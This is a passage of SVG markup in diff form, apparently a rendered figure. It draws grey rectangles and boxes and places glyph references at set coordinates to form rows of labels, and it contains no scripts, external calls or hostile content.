style="fill-rule:nonzero;fill:rgb(50%,50%,50%);fill-opacity:1;stroke-width:0.3985;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 141.730687 0.0006875 L 141.730687 28.348344 L 147.402562 28.348344 L 147.402562 0.0006875 Z M 141.730687 0.0006875 " transform="matrix(1,0,0,-1,0.199,78.571)"/> +<path style="fill-rule:nonzero;fill:rgb(50%,50%,50%);fill-opacity:1;stroke-width:0.3985;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 147.402562 0.0006875 L 147.402562 28.348344 L 153.070531 28.348344 L 153.070531 0.0006875 Z M 147.402562 0.0006875 " transform="matrix(1,0,0,-1,0.199,78.571)"/> +<path style="fill-rule:nonzero;fill:rgb(50%,50%,50%);fill-opacity:1;stroke-width:0.3985;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 153.070531 0.0006875 L 153.070531 28.348344 L 158.7385 28.348344 L 158.7385 0.0006875 Z M 153.070531 0.0006875 " transform="matrix(1,0,0,-1,0.199,78.571)"/> +<path style="fill-rule:nonzero;fill:rgb(50%,50%,50%);fill-opacity:1;stroke-width:0.3985;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 158.7385 0.0006875 L 158.7385 28.348344 L 164.410375 28.348344 L 164.410375 0.0006875 Z M 158.7385 0.0006875 " transform="matrix(1,0,0,-1,0.199,78.571)"/> +<path style="fill-rule:nonzero;fill:rgb(50%,50%,50%);fill-opacity:1;stroke-width:0.3985;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 164.410375 0.0006875 L 164.410375 28.348344 L 170.078344 28.348344 L 170.078344 0.0006875 Z M 164.410375 0.0006875 " transform="matrix(1,0,0,-1,0.199,78.571)"/> +<path style="fill-rule:nonzero;fill:rgb(50%,50%,50%);fill-opacity:1;stroke-width:0.3985;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 170.078344 0.0006875 L 170.078344 28.348344 L 175.746312 28.348344 L 175.746312 0.0006875 Z M 170.078344 0.0006875 " transform="matrix(1,0,0,-1,0.199,78.571)"/> +<path style="fill-rule:nonzero;fill:rgb(50%,50%,50%);fill-opacity:1;stroke-width:0.3985;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 175.746312 0.0006875 L 175.746312 28.348344 L 181.418187 28.348344 L 181.418187 0.0006875 Z M 175.746312 0.0006875 " transform="matrix(1,0,0,-1,0.199,78.571)"/> +<g style="fill:rgb(0%,0%,0%);fill-opacity:1;"> + <use xlink:href="#glyph0-1" x="5.556" y="109.408"/> +</g> +<g style="fill:rgb(0%,0%,0%);fill-opacity:1;"> + <use xlink:href="#glyph1-1" x="10.537" y="109.408"/> +</g> +<g style="fill:rgb(0%,0%,0%);fill-opacity:1;"> + <use xlink:href="#glyph0-2" x="16.231" y="109.408"/> +</g> +<g style="fill:rgb(0%,0%,0%);fill-opacity:1;"> + <use xlink:href="#glyph1-2" x="21.213" y="109.408"/> +</g> +<g style="fill:rgb(0%,0%,0%);fill-opacity:1;"> + <use xlink:href="#glyph1-2" x="27.16665" y="109.408"/> +</g> +<g style="fill:rgb(0%,0%,0%);fill-opacity:1;"> + <use xlink:href="#glyph1-2" x="33.110337" y="109.408"/> +</g> +<g style="fill:rgb(0%,0%,0%);fill-opacity:1;"> + <use xlink:href="#glyph1-2" x="39.063987" y="109.408"/> +</g> +<g style="fill:rgb(0%,0%,0%);fill-opacity:1;"> + <use xlink:href="#glyph0-2" x="45.012" y="109.408"/> + <use xlink:href="#glyph0-2" x="49.9933" y="109.408"/> + <use xlink:href="#glyph0-1" x="54.9746" y="109.408"/> + <use xlink:href="#glyph0-1" x="59.9559" y="109.408"/> + <use xlink:href="#glyph0-1" x="64.9372" y="109.408"/> + <use xlink:href="#glyph0-3" x="69.9185" y="109.408"/> + <use xlink:href="#glyph0-1" x="74.8998" y="109.408"/> +</g> +<g style="fill:rgb(0%,0%,0%);fill-opacity:1;"> + <use xlink:href="#glyph0-1" x="96.263" y="109.408"/> +</g> +<g style="fill:rgb(0%,0%,0%);fill-opacity:1;"> + <use xlink:href="#glyph1-1" x="101.245" y="109.408"/> +</g> +<g style="fill:rgb(0%,0%,0%);fill-opacity:1;"> + <use xlink:href="#glyph0-2" x="106.939" y="109.408"/> +</g> +<g style="fill:rgb(0%,0%,0%);fill-opacity:1;"> + <use xlink:href="#glyph1-2" x="111.92" y="109.408"/> +</g> +<g style="fill:rgb(0%,0%,0%);fill-opacity:1;"> + <use xlink:href="#glyph1-2" x="117.87365" y="109.408"/> +</g> +<g style="fill:rgb(0%,0%,0%);fill-opacity:1;"> + <use xlink:href="#glyph1-2" x="123.817337" y="109.408"/> +</g> +<g style="fill:rgb(0%,0%,0%);fill-opacity:1;"> + <use xlink:href="#glyph1-2" x="129.770987" y="109.408"/> +</g> +<g style="fill:rgb(0%,0%,0%);fill-opacity:1;"> + <use xlink:href="#glyph0-2" x="135.72" y="109.408"/> + <use xlink:href="#glyph0-2" x="140.7013" y="109.408"/> + <use xlink:href="#glyph0-1" x="145.6826" y="109.408"/> + <use xlink:href="#glyph0-1" x="150.6639" y="109.408"/> + <use xlink:href="#glyph0-1" x="155.6452" y="109.408"/> + <use xlink:href="#glyph0-4" x="160.6265" y="109.408"/> + <use xlink:href="#glyph0-1" x="165.6078" y="109.408"/> +</g> +<g style="fill:rgb(0%,0%,0%);fill-opacity:1;"> + <use xlink:href="#glyph0-1" x="186.97" y="109.408"/> +</g> +<g style="fill:rgb(0%,0%,0%);fill-opacity:1;"> + <use xlink:href="#glyph1-1" x="191.952" y="109.408"/> +</g> +<g style="fill:rgb(0%,0%,0%);fill-opacity:1;"> + <use xlink:href="#glyph0-2" x="197.646" y="109.408"/> +</g> +<g style="fill:rgb(0%,0%,0%);fill-opacity:1;"> + <use xlink:href="#glyph1-2" x="202.627" y="109.408"/> +</g> +<g style="fill:rgb(0%,0%,0%);fill-opacity:1;"> + <use xlink:href="#glyph1-2" x="208.58065" y="109.408"/> +</g> +<g style="fill:rgb(0%,0%,0%);fill-opacity:1;"> + <use xlink:href="#glyph1-2" x="214.524337" y="109.408"/> +</g> +<g style="fill:rgb(0%,0%,0%);fill-opacity:1;"> + <use xlink:href="#glyph1-2" x="220.477987" y="109.408"/> +</g> +<g style="fill:rgb(0%,0%,0%);fill-opacity:1;"> + <use xlink:href="#glyph0-2" x="226.427" y="109.408"/> + <use xlink:href="#glyph0-2" x="231.4083" y="109.408"/> + <use xlink:href="#glyph0-1" x="236.3896" y="109.408"/> + <use xlink:href="#glyph0-1" x="241.3709" y="109.408"/> + <use xlink:href="#glyph0-1" x="246.3522" y="109.408"/> + <use xlink:href="#glyph0-5" x="251.3335" y="109.408"/> + <use xlink:href="#glyph0-1" x="256.3148" y="109.408"/> +</g> +<g style="fill:rgb(0%,0%,0%);fill-opacity:1;"> + <use xlink:href="#glyph0-1" x="277.678" y="109.408"/> +</g> +<g style="fill:rgb(0%,0%,0%);fill-opacity:1;"> + <use xlink:href="#glyph1-1" x="282.659" y="109.408"/> +</g> +<g style="fill:rgb(0%,0%,0%);fill-opacity:1;"> + <use xlink:href="#glyph0-2" x="288.353" y="109.408"/> +</g> +<g style="fill:rgb(0%,0%,0%);fill-opacity:1;"> + <use xlink:href="#glyph1-2" x="293.334" y="109.408"/> +</g> +<g style="fill:rgb(0%,0%,0%);fill-opacity:1;"> + <use xlink:href="#glyph1-2" x="299.28765" y="109.408"/> +</g> +<g style="fill:rgb(0%,0%,0%);fill-opacity:1;"> + <use xlink:href="#glyph1-2" x="305.231337" y="109.408"/> +</g> +<g style="fill:rgb(0%,0%,0%);fill-opacity:1;"> + <use xlink:href="#glyph1-2" x="311.184987" y="109.408"/> +</g> +<g style="fill:rgb(0%,0%,0%);fill-opacity:1;"> + <use xlink:href="#glyph0-2" x="317.134" y="109.408"/> + <use xlink:href="#glyph0-2" x="322.1153" y="109.408"/> + <use xlink:href="#glyph0-1" x="327.0966" y="109.408"/> + <use xlink:href="#glyph0-1" x="332.0779" y="109.408"/> + <use xlink:href="#glyph0-1" x="337.0592" y="109.408"/> + <use xlink:href="#glyph0-6" x="342.0405" y="109.408"/> + <use xlink:href="#glyph0-1" x="347.0218" y="109.408"/> +</g> +<g style="fill:rgb(0%,0%,0%);fill-opacity:1;"> + <use xlink:href="#glyph0-7" x="7.672" y="137.755"/> + <use xlink:href="#glyph0-8" x="11.546455" y="137.755"/> + <use xlink:href="#glyph0-9" x="16.527755" y="137.755"/> + <use xlink:href="#glyph0-10" x="22.062976" y="137.755"/> + <use xlink:href="#glyph0-11" x="27.598196" y="137.755"/> +</g> +<g style="fill:rgb(0%,0%,0%);fill-opacity:1;"> + <use xlink:href="#glyph0-12" x="34.790197" y="137.755"/> + <use xlink:href="#glyph0-13" x="40.048457" y="137.755"/> + <use xlink:href="#glyph0-6" x="45.029757" y="137.755"/> + <use xlink:href="#glyph0-4" x="50.011057" y="137.755"/> + <use xlink:href="#glyph0-12" x="54.992357" y="137.755"/> + <use xlink:href="#glyph0-8" x="60.250618" y="137.755"/> +</g> +<g style="fill:rgb(0%,0%,0%);fill-opacity:1;"> + <use xlink:href="#glyph0-1" x="68.559426" y="137.755"/> +</g> +<g style="fill:rgb(0%,0%,0%);fill-opacity:1;"> + <use xlink:href="#glyph1-1" x="73.536" y="137.755"/> +</g> +<g style="fill:rgb(0%,0%,0%);fill-opacity:1;"> + <use xlink:href="#glyph0-1" x="79.23" y="137.755"/> + <use xlink:href="#glyph0-1" x="84.2113" y="137.755"/> + <use xlink:href="#glyph0-1" x="89.1926" y="137.755"/> + <use xlink:href="#glyph0-1" x="94.1739" y="137.755"/> + <use xlink:href="#glyph0-2" x="99.1552" y="137.755"/> +</g> +<g style="fill:rgb(0%,0%,0%);fill-opacity:1;"> + <use xlink:href="#glyph1-2" x="104.136" y="137.755"/> +</g> +<g style="fill:rgb(0%,0%,0%);fill-opacity:1;"> + <use xlink:href="#glyph1-2" x="110.08965" y="137.755"/> +</g> +<g style="fill:rgb(0%,0%,0%);fill-opacity:1;"> + <use xlink:href="#glyph1-2" x="116.033337" y="137.755"/> +</g> +<g style="fill:rgb(0%,0%,0%);fill-opacity:1;"> + <use xlink:href="#glyph1-2" x="121.986987" y="137.755"/> +</g> +<g style="fill:rgb(0%,0%,0%);fill-opacity:1;"> + <use xlink:href="#glyph0-2" x="127.936" y="137.755"/> + <use xlink:href="#glyph0-2" x="132.9173" y="137.755"/> + <use xlink:href="#glyph0-1" x="137.8986" y="137.755"/> + <use xlink:href="#glyph0-1" x="142.8799" y="137.755"/> + <use xlink:href="#glyph0-1" x="147.8612" y="137.755"/> + <use xlink:href="#glyph0-3" x="152.8425" y="137.755"/> + <use xlink:href="#glyph0-1" x="157.8238" y="137.755"/> +</g> +<g style="fill:rgb(0%,0%,0%);fill-opacity:1;"> + <use xlink:href="#glyph0-1" x="59.482" y="151.928"/> +</g> +<g style="fill:rgb(0%,0%,0%);fill-opacity:1;"> + <use xlink:href="#glyph1-1" x="64.463" y="151.928"/> +</g> +<g style="fill:rgb(0%,0%,0%);fill-opacity:1;"> + <use xlink:href="#glyph0-2" x="70.157" y="151.928"/> +</g> +<g style="fill:rgb(0%,0%,0%);fill-opacity:1;"> + <use xlink:href="#glyph1-2" x="75.138" y="151.928"/> +</g> +<g style="fill:rgb(0%,0%,0%);fill-opacity:1;"> + <use xlink:href="#glyph1-2" x="81.09165" y="151.928"/> +</g> +<g style="fill:rgb(0%,0%,0%);fill-opacity:1;"> + <use xlink:href="#glyph1-2" x="87.035337" y="151.928"/> +</g> +<g style="fill:rgb(0%,0%,0%);fill-opacity:1;"> + <use xlink:href="#glyph1-2" x="92.988987" y="151.928"/> +</g> +<g style="fill:rgb(0%,0%,0%);fill-opacity:1;"> + <use xlink:href="#glyph0-2" x="98.938" y="151.928"/> + <use xlink:href="#glyph0-2" x="103.9193" y="151.928"/> + <use xlink:href="#glyph0-1" x="108.9006" y="151.928"/> + <use xlink:href="#glyph0-1" x="113.8819" y="151.928"/> + <use xlink:href="#glyph0-1" x="118.8632" y="151.928"/> + <use xlink:href="#glyph0-3" x="123.8445" y="151.928"/> + <use xlink:href="#glyph0-1" x="128.8258" y="151.928"/> +</g> +<g style="fill:rgb(0%,0%,0%);fill-opacity:1;"> + <use xlink:href="#glyph0-14" x="136.576703" y="151.928"/> +</g> +<g style="fill:rgb(0%,0%,0%);fill-opacity:1;"> + <use xlink:href="#glyph0-1" x="175.635" y="151.928"/> +</g> +<g style="fill:rgb(0%,0%,0%);fill-opacity:1;"> + <use xlink:href="#glyph1-1" x="180.616" y="151.928"/> +</g> +<g style="fill:rgb(0%,0%,0%);fill-opacity:1;"> + <use xlink:href="#glyph0-2" x="186.31" y="151.928"/> +</g> +<g style="fill:rgb(0%,0%,0%);fill-opacity:1;"> + <use xlink:href="#glyph1-2" x="191.291" y="151.928"/> +</g> +<g style="fill:rgb(0%,0%,0%);fill-opacity:1;"> + <use xlink:href="#glyph1-2" x="197.24465" y="151.928"/> +</g> +<g style="fill:rgb(0%,0%,0%);fill-opacity:1;"> + <use xlink:href="#glyph1-2" x="203.188337" y="151.928"/> +</g> +<g style="fill:rgb(0%,0%,0%);fill-opacity:1;"> + <use xlink:href="#glyph1-2" x="209.141987" y="151.928"/> +</g> +<g style="fill:rgb(0%,0%,0%);fill-opacity:1;"> + <use xlink:href="#glyph0-2" x="215.091" y="151.928"/> + <use xlink:href="#glyph0-2" x="220.0723" y="151.928"/> + <use xlink:href="#glyph0-1" x="225.0536" y="151.928"/> + <use xlink:href="#glyph0-1" x="230.0349" y="151.928"/> + <use xlink:href="#glyph0-1" x="235.0162" y="151.928"/> + <use xlink:href="#glyph0-5" x="239.9975" y="151.928"/> + <use xlink:href="#glyph0-1" x="244.9788" y="151.928"/> +</g> +<g style="fill:rgb(0%,0%,0%);fill-opacity:1;"> + <use xlink:href="#glyph0-1" x="266.822" y="152.647"/> +</g> +<g style="fill:rgb(0%,0%,0%);fill-opacity:1;"> + <use xlink:href="#glyph1-1" x="271.803" y="152.647"/> +</g> +<g style="fill:rgb(0%,0%,0%);fill-opacity:1;"> + <use xlink:href="#glyph0-1" x="277.497" y="152.647"/> + <use xlink:href="#glyph0-1" x="282.4783" y="152.647"/> + <use xlink:href="#glyph0-1" x="287.4596" y="152.647"/> + <use xlink:href="#glyph0-1" x="292.4409" y="152.647"/> + <use xlink:href="#glyph0-1" x="297.4222" y="152.647"/> + <use xlink:href="#glyph0-1" x="302.4035" y="152.647"/> + <use xlink:href="#glyph0-1" x="307.3848" y="152.647"/> + <use xlink:href="#glyph0-1" x="312.3661" y="152.647"/> + <use xlink:href="#glyph0-1" x="317.3474" y="152.647"/> + <use xlink:href="#glyph0-1" x="322.3287" y="152.647"/> + <use xlink:href="#glyph0-1" x="327.31" y="152.647"/> + <use xlink:href="#glyph0-1" x="332.2913" y="152.647"/> + <use xlink:href="#glyph0-1" x="337.2726" y="152.647"/> + <use xlink:href="#glyph0-1" x="342.2539" y="152.647"/> + <use xlink:href="#glyph0-1" x="347.2352" y="152.647"/> + <use xlink:href="#glyph0-1" x="352.2165" y="152.647"/> +</g> +<path style="fill:none;stroke-width:0.3985;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 170.08225 -63.780563 L 170.08225 -77.952438 L 255.121312 -77.952438 L 255.121312 -63.780563 Z M 170.08225 -63.780563 " transform="matrix(1,0,0,-1,0.199,78.571)"/> +<g clip-path="url(#clip1)" clip-rule="nonzero"> +<path style="fill:none;stroke-width:0.3985;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 255.121312 -63.780563 L 255.121312 -77.952438 L 368.508031 -77.952438 L 368.508031 -63.780563 Z M 255.121312 -63.780563 " transform="matrix(1,0,0,-1,0.199,78.571)"/> +</g> +<g style="fill:rgb(0%,0%,0%);fill-opacity:1;"> + <use xlink:href="#glyph0-1" x="59.482" y="180.274"/> +</g> +<g style="fill:rgb(0%,0%,0%);fill-opacity:1;"> + <use xlink:href="#glyph1-1" x="64.463" y="180.274"/> +</g> +<g style="fill:rgb(0%,0%,0%);fill-opacity:1;"> + <use xlink:href="#glyph0-2" x="70.157" y="180.274"/> +</g> +<g style="fill:rgb(0%,0%,0%);fill-opacity:1;"> + <use xlink:href="#glyph1-2" x="75.138" y="180.274"/> +</g> +<g style="fill:rgb(0%,0%,0%);fill-opacity:1;"> + <use xlink:href="#glyph1-2" x="81.09165" y="180.274"/> +</g> +<g style="fill:rgb(0%,0%,0%);fill-opacity:1;"> + <use xlink:href="#glyph1-2" x="87.035337" y="180.274"/> +</g> +<g style="fill:rgb(0%,0%,0%);fill-opacity:1;"> + <use xlink:href="#glyph1-2" x="92.988987" y="180.274"/> +</g> +<g style="fill:rgb(0%,0%,0%);fill-opacity:1;"> + <use xlink:href="#glyph0-2" x="98.938" y="180.274"/> + <use xlink:href="#glyph0-2" x="103.9193" y="180.274"/> + <use xlink:href="#glyph0-1" x="108.9006" y="180.274"/> + <use xlink:href="#glyph0-1" x="113.8819" y="180.274"/> + <use xlink:href="#glyph0-1" x="118.8632" y="180.274"/> + <use xlink:href="#glyph0-4" x="123.8445" y="180.274"/> + <use xlink:href="#glyph0-1" x="128.8258" y="180.274"/> +</g> +<g style="fill:rgb(0%,0%,0%);fill-opacity:1;"> + <use xlink:href="#glyph0-14" x="136.576703" y="180.274"/> +</g> +<g style="fill:rgb(0%,0%,0%);fill-opacity:1;"> + <use xlink:href="#glyph0-1" x="177.925" y="181.243"/> +</g> +<g style="fill:rgb(0%,0%,0%);fill-opacity:1;"> + <use xlink:href="#glyph1-1" x="182.906" y="181.243"/> +</g> +<g style="fill:rgb(0%,0%,0%);fill-opacity:1;"> + <use xlink:href="#glyph0-2" x="188.6" y="181.243"/> + <use xlink:href="#glyph0-15" x="193.5813" y="181.243"/> + <use xlink:href="#glyph0-6" x="198.5626" y="181.243"/> + <use xlink:href="#glyph0-5" x="203.5439" y="181.243"/> + <use xlink:href="#glyph0-6" x="208.5252" y="181.243"/> +</g> +<g style="fill:rgb(0%,0%,0%);fill-opacity:1;"> + <use xlink:href="#glyph1-3" x="213.507" y="181.243"/> +</g> +<g style="fill:rgb(0%,0%,0%);fill-opacity:1;"> + <use xlink:href="#glyph0-6" x="217.782" y="181.243"/> + <use xlink:href="#glyph0-3" x="222.7633" y="181.243"/> + <use xlink:href="#glyph0-2" x="227.7446" y="181.243"/> + <use xlink:href="#glyph0-5" x="232.7259" y="181.243"/> + <use xlink:href="#glyph0-6" x="237.7072" y="181.243"/> + <use xlink:href="#glyph0-6" x="242.6885" y="181.243"/> +</g> +<g style="fill:rgb(0%,0%,0%);fill-opacity:1;"> + <use xlink:href="#glyph0-1" x="266.822" y="180.994"/> +</g> +<g style="fill:rgb(0%,0%,0%);fill-opacity:1;"> + <use xlink:href="#glyph1-1" x="271.803" y="180.994"/> +</g> +<g style="fill:rgb(0%,0%,0%);fill-opacity:1;"> + <use xlink:href="#glyph0-1" x="277.497" y="180.994"/> + <use xlink:href="#glyph0-1" x="282.4783" y="180.994"/> + <use xlink:href="#glyph0-1" x="287.4596" y="180.994"/> + <use xlink:href="#glyph0-1" x="292.4409" y="180.994"/> + <use xlink:href="#glyph0-1" x="297.4222" y="180.994"/> + <use xlink:href="#glyph0-1" x="302.4035" y="180.994"/> + <use xlink:href="#glyph0-1" x="307.3848" y="180.994"/> + <use xlink:href="#glyph0-1" x="312.3661" y="180.994"/> + <use xlink:href="#glyph0-1" x="317.3474" y="180.994"/> + <use xlink:href="#glyph0-1" x="322.3287" y="180.994"/> + <use xlink:href="#glyph0-1" x="327.31" y="180.994"/> + <use xlink:href="#glyph0-1" x="332.2913" y="180.994"/> + <use xlink:href="#glyph0-1" x="337.2726" y="180.994"/> + <use xlink:href="#glyph0-1" x="342.2539" y="180.994"/> + <use xlink:href="#glyph0-1" x="347.2352" y="180.994"/> + <use xlink:href="#glyph0-1" x="352.2165" y="180.994"/> +</g> +<path style="fill:none;stroke-width:0.3985;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 170.08225 -92.128219 L 170.08225 -106.300094 L 255.121312 -106.300094 L 255.121312 -92.128219 Z M 170.08225 -92.128219 " transform="matrix(1,0,0,-1,0.199,78.571)"/> +<g clip-path="url(#clip2)" clip-rule="nonzero"> +<path style="fill:none;stroke-width:0.3985;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 255.121312 -92.128219 L 255.121312 -106.300094 L 368.508031 -106.300094 L 368.508031 -92.128219 Z M 255.121312 -92.128219 " transform="matrix(1,0,0,-1,0.199,78.571)"/> +</g> +<g style="fill:rgb(0%,0%,0%);fill-opacity:1;"> + <use xlink:href="#glyph0-1" x="59.482" y="208.621"/> +</g> +<g style="fill:rgb(0%,0%,0%);fill-opacity:1;"> + <use xlink:href="#glyph1-1" x="64.463" y="208.621"/> +</g> +<g style="fill:rgb(0%,0%,0%);fill-opacity:1;"> + <use xlink:href="#glyph0-2" x="70.157" y="208.621"/> +</g> +<g style="fill:rgb(0%,0%,0%);fill-opacity:1;"> + <use xlink:href="#glyph1-2" x="75.138" y="208.621"/> +</g> +<g style="fill:rgb(0%,0%,0%);fill-opacity:1;"> + <use xlink:href="#glyph1-2" x="81.09165" y="208.621"/> +</g> +<g style="fill:rgb(0%,0%,0%);fill-opacity:1;"> + <use xlink:href="#glyph1-2" x="87.035337" y="208.621"/> +</g> +<g style="fill:rgb(0%,0%,0%);fill-opacity:1;"> + <use xlink:href="#glyph1-2" x="92.988987" y="208.621"/> +</g> +<g style="fill:rgb(0%,0%,0%);fill-opacity:1;"> + <use xlink:href="#glyph0-2" x="98.938" y="208.621"/> + <use xlink:href="#glyph0-2" x="103.9193" y="208.621"/> + <use xlink:href="#glyph0-1" x="108.9006" y="208.621"/> + <use xlink:href="#glyph0-1" x="113.8819" y="208.621"/> + <use xlink:href="#glyph0-1" x="118.8632" y="208.621"/> + <use xlink:href="#glyph0-5" x="123.8445" y="208.621"/> + <use xlink:href="#glyph0-1" x="128.8258" y="208.621"/> +</g> +<g style="fill:rgb(0%,0%,0%);fill-opacity:1;"> + <use xlink:href="#glyph0-14" x="136.576703" y="208.621"/> +</g> +<g style="fill:rgb(0%,0%,0%);fill-opacity:1;"> + <use xlink:href="#glyph0-1" x="175.635" y="208.621"/> +</g> +<g style="fill:rgb(0%,0%,0%);fill-opacity:1;"> + <use xlink:href="#glyph1-1" x="180.616" y="208.621"/> +</g> +<g style="fill:rgb(0%,0%,0%);fill-opacity:1;"> + <use xlink:href="#glyph0-2" x="186.31" y="208.621"/> +</g> +<g style="fill:rgb(0%,0%,0%);fill-opacity:1;"> + <use xlink:href="#glyph1-2" x="191.291" y="208.621"/> +</g> +<g style="fill:rgb(0%,0%,0%);fill-opacity:1;"> + <use xlink:href="#glyph1-2" x="197.24465" y="208.621"/> +</g> +<g style="fill:rgb(0%,0%,0%);fill-opacity:1;"> + <use xlink:href="#glyph1-2" x="203.188337" y="208.621"/> +</g> +<g style="fill:rgb(0%,0%,0%);fill-opacity:1;"> + <use xlink:href="#glyph1-2" x="209.141987" y="208.621"/> +</g> +<g style="fill:rgb(0%,0%,0%);fill-opacity:1;"> + <use xlink:href="#glyph0-2" x="215.091" y="208.621"/> + <use xlink:href="#glyph0-2" x="220.0723" y="208.621"/> + <use xlink:href="#glyph0-1" x="225.0536" y="208.621"/> + <use xlink:href="#glyph0-1" x="230.0349" y="208.621"/> + <use xlink:href="#glyph0-1" x="235.0162" y="208.621"/> + <use xlink:href="#glyph0-6" x="239.9975" y="208.621"/> + <use xlink:href="#glyph0-1" x="244.9788" y="208.621"/> +</g> +<g style="fill:rgb(0%,0%,0%);fill-opacity:1;"> + <use xlink:href="#glyph0-1" x="266.822" y="209.34"/> +</g> +<g style="fill:rgb(0%,0%,0%);fill-opacity:1;"> + <use xlink:href="#glyph1-1" x="271.803" y="209.34"/> +</g> +<g style="fill:rgb(0%,0%,0%);fill-opacity:1;"> + <use xlink:href="#glyph0-1" x="277.497" y="209.34"/> + <use xlink:href="#glyph0-1" x="282.4783" y="209.34"/> + <use xlink:href="#glyph0-1" x="287.4596" y="209.34"/> + <use xlink:href="#glyph0-1" x="292.4409" y="209.34"/> + <use xlink:href="#glyph0-1" x="297.4222" y="209.34"/> + <use xlink:href="#glyph0-1" x="302.4035" y="209.34"/> + <use xlink:href="#glyph0-1" x="307.3848" y="209.34"/> + <use xlink:href="#glyph0-1" x="312.3661" y="209.34"/> + <use xlink:href="#glyph0-1" x="317.3474" y="209.34"/> + <use xlink:href="#glyph0-1" x="322.3287" y="209.34"/> + <use xlink:href="#glyph0-1" x="327.31" y="209.34"/> + <use xlink:href="#glyph0-1" x="332.2913" y="209.34"/> + <use xlink:href="#glyph0-1" x="337.2726" y="209.34"/> + <use xlink:href="#glyph0-1" x="342.2539" y="209.34"/> + <use xlink:href="#glyph0-1" x="347.2352" y="209.34"/> + <use xlink:href="#glyph0-1" x="352.2165" y="209.34"/> +</g> +<path style="fill:none;stroke-width:0.3985;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 170.08225 -120.471969 L 170.08225 -134.64775 L 255.121312 -134.64775 L 255.121312 -120.471969 Z M 170.08225 -120.471969 " transform="matrix(1,0,0,-1,0.199,78.571)"/> +<g clip-path="url(#clip3)" clip-rule="nonzero"> +<path style="fill:none;stroke-width:0.3985;stroke-linecap:butt;stroke-linejoin:miter;stroke:rgb(0%,0%,0%);stroke-opacity:1;stroke-miterlimit:10;" d="M 255.121312 -120.471969 L 255.121312 -134.64775 L 368.508031 -134.64775 L 368.508031 -120.471969 Z M 255.121312 -120.471969 " transform="matrix(1,0,0,-1,0.199,78.571)"/> +</g> +<g style="fill:rgb(0%,0%,0%);fill-opacity:1;"> + <use xlink:href="#glyph0-1" x="59.482" y="236.967"/> +</g> +<g style="fill:rgb(0%,0%,0%);fill-opacity:1;"> + <use xlink:href="#glyph1-1" x="64.463" y="236.967"/> +</g> +<g style="fill:rgb(0%,0%,0%);fill-opacity:1;"> + <use xlink:href="#glyph0-2" x="70.157" y="236.967"/> +</g> +<g style="fill:rgb(0%,0%,0%);fill-opacity:1;"> + <use xlink:href="#glyph1-2" x="75.138" y="236.967"/> +</g> +<g style="fill:rgb(0%,0%,0%);fill-opacity:1;"> + <use xlink:href="#glyph1-2" x="81.09165" y="236.967"/> +</g> +<g style="fill:rgb(0%,0%,0%);fill-opacity:1;"> + <use xlink:href="#glyph1-2" x="87.035337" y="236.967"/> +</g> +<g style="fill:rgb(0%,0%,0%);fill-opacity:1;"> + <use xlink:href="#glyph1-2" x="92.988987" y="236.967"/> +</g> +<g style="fill:rgb(0%,0%,0%);fill-opacity:1;"> + <use xlink:href="#glyph0-2" x="98.938" y="236.967"/> + <use xlink:href="#glyph0-2" x="103.9193" y="236.967"/> + <use xlink:href="#glyph0-1" x="108.9006" y="236.967"/> + <use xlink:href="#glyph0-1" x="113.8819" y="236.967"/> + <use xlink:href="#glyph0-1" x="118.8632" y="236.967"/> + <use xlink:href="#glyph0-6" x="123.8445" y="236.967"/> + <use xlink:href="#glyph0-1" x="128.8258" y="236.967"/> +</g> +<g style="fill:rgb(0%,0%,0%);fill-opacity:1;"> + <use xlink:href="#glyph0-14" x="136.576703" y="236.967"/> +</g> +<g style="fill:rgb(0%,0%,0%);fill-opacity:1;"> + <use xlink:href="#glyph0-1" x="175.635" y="236.967"/> +</g> +<g style="fill:rgb(0%,0%,0%);fill-opacity:1;"> + <use xlink:href="#glyph1-1" x="180.616" y="236.967"/> +</g> +<g style="fill:rgb(0%,0%,0%);fill-opacity:1;"> + <use xlink:href="#glyph0-2" x="186.31" y="236.967"/> +</g> +<g style="fill:rgb(0%,0%,0%);fill-opacity:1;"> + <use xlink:href="#glyph1-2" x="191.291" y="236.967"/> +</g> +<g style="fill:rgb(0%,0%,0%);fill-opacity:1;"> + <use xlink:href="#glyph1-2" x="197.24465" y="236.967"/> +</g> +<g style="fill:rgb(0%,0%,0%);fill-opacity:1;"> + <use xlink:href="#glyph1-2" x="203.188337" y="236.967"/> +</g> +<g style="fill:rgb(0%,0%,0%);fill-opacity:1;"> + <use xlink:href="#glyph1-2" x="209.141987" y="236.967"/> +</g> +<g style="fill:rgb(0%,0%,0%);fill-opacity:1;"> + <use xlink:href="#glyph0-2" x="215.091" y="236.967"/> + <use xlink:href="#glyph0-2" x="220.0723" y="236.967"/> + <use xlink:href="#glyph0-1" x="225.0536" y="236.967"/> + <use xlink:href="#glyph0-1" x="230.0349" y="236.967"/> + <use xlink:href="#glyph0-1" x="235.0162" y="236.967"/> + <use xlink:href="#glyph0-2" x="239.9975" y="236.967"/> + <use xlink:href="#glyph0-1" x="244.9788" y="236.967"/> +</g> +<g style="fill:rgb(0%,0%,0%);fill-opacity:1;"> + <use xlink:href="#glyph0-1" x="266.822" y="237.687"/> +</g> +<g 